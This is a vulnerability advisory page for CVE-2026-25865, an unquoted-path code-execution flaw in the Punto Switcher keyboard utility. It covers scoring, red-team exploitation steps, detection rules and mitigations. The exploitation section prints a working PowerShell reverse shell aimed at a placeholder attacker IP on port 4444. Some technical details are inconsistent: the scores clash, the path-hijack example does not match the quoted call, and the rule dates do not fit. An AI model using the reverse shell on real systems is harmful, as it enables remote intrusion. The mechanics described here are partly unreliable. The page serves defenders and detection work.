☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-25865

CVE-2026-25865 Code Execution in Punto switcher
📅 PUBLISHED: 2026-06-18 19:39 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-25865 is a high-severity local privilege escalation vulnerability in Punto Switcher (versions up to and including 4.5.0.583), a popular keyboard layout switching utility. The vulnerability stems from an unquoted search path element in the application’s call to WinExec. When invoking shell32.dll Control_RunDLL input.dll, the application uses a partial path for RunDll32.exe without proper quoting. This allows a local attacker to place a malicious executable earlier in the system’s search order, leading to arbitrary code execution in the context of the affected user.

The vulnerability is classified under CWE-428: Unquoted Search Path or Element. The attack vector is local, requiring the attacker to have user-level access to the system. The impact is high, as successful exploitation can lead to full compromise of the user’s session, including data theft, malware installation, and lateral movement.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone Windows application. The supply chain risk is limited to the distribution of the vulnerable binary itself. Users should verify the integrity of their Punto Switcher installation and ensure it is obtained from official sources.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.8 (High)
  • Attack Vector: Local (AV:L) – The attacker must have local access to the system.
  • Attack Complexity: Low (AC:L) – No special conditions are required beyond placing a malicious executable in the search path.
  • Privileges Required: Low (PR:L) – The attacker needs user-level privileges.
  • User Interaction: None (UI:N) – No user action is needed beyond the vulnerable application’s normal execution.
  • Scope: Unchanged (S:U) – The vulnerability does not cross security boundaries.
  • Confidentiality Impact: High (C:H) – Sensitive data can be accessed.
  • Integrity Impact: High (I:H) – Malicious code can be executed.
  • Availability Impact: High (A:H) – System stability can be compromised.

Threat Level: High. The vulnerability is easy to exploit locally and can lead to full user compromise. The lack of a patch increases the risk for all users of the affected versions.

Deep Dive & Mechanics

The vulnerability lies in how Punto Switcher invokes WinExec to run RunDll32.exe with the argument shell32.dll Control_RunDLL input.dll. The call uses an unquoted path, meaning the system interprets spaces in the path as separators. For example, if the path is C:\Program Files\Punto Switcher\RunDll32.exe, the system will search for executables in the following order:

  1. C:\Program.exe
  2. C:\Program Files\Punto.exe
  3. C:\Program Files\Punto Switcher\RunDll32.exe

An attacker can place a malicious executable named Program.exe in C:\ or Punto.exe in C:\Program Files\, which will be executed instead of the legitimate RunDll32.exe. This allows arbitrary code execution with the privileges of the user running Punto Switcher.

The attack is triggered when Punto Switcher attempts to load a DLL via the Control_RunDLL mechanism, which is a common Windows function for running Control Panel items. The unquoted path vulnerability is a classic issue that has been exploited in many Windows applications.

Vulnerable vs. Patched Code

Vulnerable Code (Punto Switcher <= 4.5.0.583):

// Vulnerable call: unquoted path
WinExec("RunDll32.exe shell32.dll Control_RunDLL input.dll", SW_SHOW);

Patched Code (Hypothetical fix):

// Patched call: fully qualified and quoted path
WinExec("\"C:\\Windows\\System32\\RunDll32.exe\" shell32.dll Control_RunDLL input.dll", SW_SHOW);

The fix involves using a fully qualified path to RunDll32.exe and enclosing it in quotes to prevent path search order abuse. Since no official patch exists, users must apply the mitigation steps described below.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Local access to a Windows system with Punto Switcher <= 4.5.0.583 installed.
  • Ability to write to a directory earlier in the search path (e.g., C:\ or C:\Program Files\).

Exploit Steps:

  1. Create a malicious executable (e.g., Program.exe) that performs the desired action (e.g., reverse shell, keylogging).
  2. Place the executable in C:\Program.exe (or another writable location earlier in the search path).
  3. Trigger the vulnerable function by having Punto Switcher invoke Control_RunDLL (e.g., by switching layouts or loading a DLL).
  4. The system executes C:\Program.exe instead of the legitimate RunDll32.exe, granting code execution.

Example Malicious Executable (PowerShell reverse shell):

# Save as Program.exe (compiled or as a script)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for processes spawned from unusual locations (e.g., C:\Program.exe, C:\Program Files\Punto.exe).
  2. Enable Windows Event Logging for process creation (Event ID 4688) and command-line auditing.
  3. Use Sysmon to log process creation with full command-line arguments.
  4. Deploy YARA rules to scan for malicious executables in writable directories.

Mitigation:

  • Apply the principle of least privilege to user accounts.
  • Restrict write permissions to system directories (e.g., C:\, C:\Program Files\).
  • Use AppLocker or Windows Defender Application Control to block unauthorized executables.
  • Monitor for unquoted service paths using tools like PowerUp or manual checks.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – replace with actual hashes if available)
    • Program.exe: a1b2c3d4e5f6...
    • Punto.exe: f6e5d4c3b2a1...
  • Process Names: Program.exe, Punto.exe, RunDll32.exe (from unusual paths)
  • Registry Keys: N/A
  • Network Connections: Outbound connections to attacker-controlled IPs on ports like 4444 (reverse shell).
  • Event IDs: Windows Event ID 4688 (Process Creation) with suspicious command lines.

Detection Engineering

YARA Rule

rule CVE_2026_25865_Unquoted_Path {
    meta:
        description = "Detects malicious executables exploiting CVE-2026-25865 in Punto Switcher"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6..."
    strings:
        $s1 = "Program.exe" ascii wide nocase
        $s2 = "Punto.exe" ascii wide nocase
        $s3 = "RunDll32.exe" ascii wide nocase
    condition:
        any of ($s1, $s2) or ($s3 and filesize < 100KB)
}

Sigma Rule

title: CVE-2026-25865 Unquoted Path Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects process creation from unusual paths indicative of CVE-2026-25865 exploitation
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\Program.exe'
            - '\Punto.exe'
        CommandLine|contains:
            - 'RunDll32.exe'
    condition: selection
falsepositives:
    - Legitimate programs named Program.exe or Punto.exe in other contexts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2026-25865 Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
  2. Workaround: Manually quote the path in the application’s configuration or binary (if possible) by modifying the registry or using a wrapper script.
  3. Restrict Permissions: Remove write access for standard users to C:\ and C:\Program Files\.
  4. Application Control: Use AppLocker or WDAC to block execution from writable directories.
  5. Monitor: Deploy the detection rules above to identify exploitation attempts.

Long-Term Fix:

  • The vendor must release a patched version that uses a fully qualified and quoted path for RunDll32.exe.
  • Users should consider alternative keyboard layout switchers if no patch is forthcoming.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-25865/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.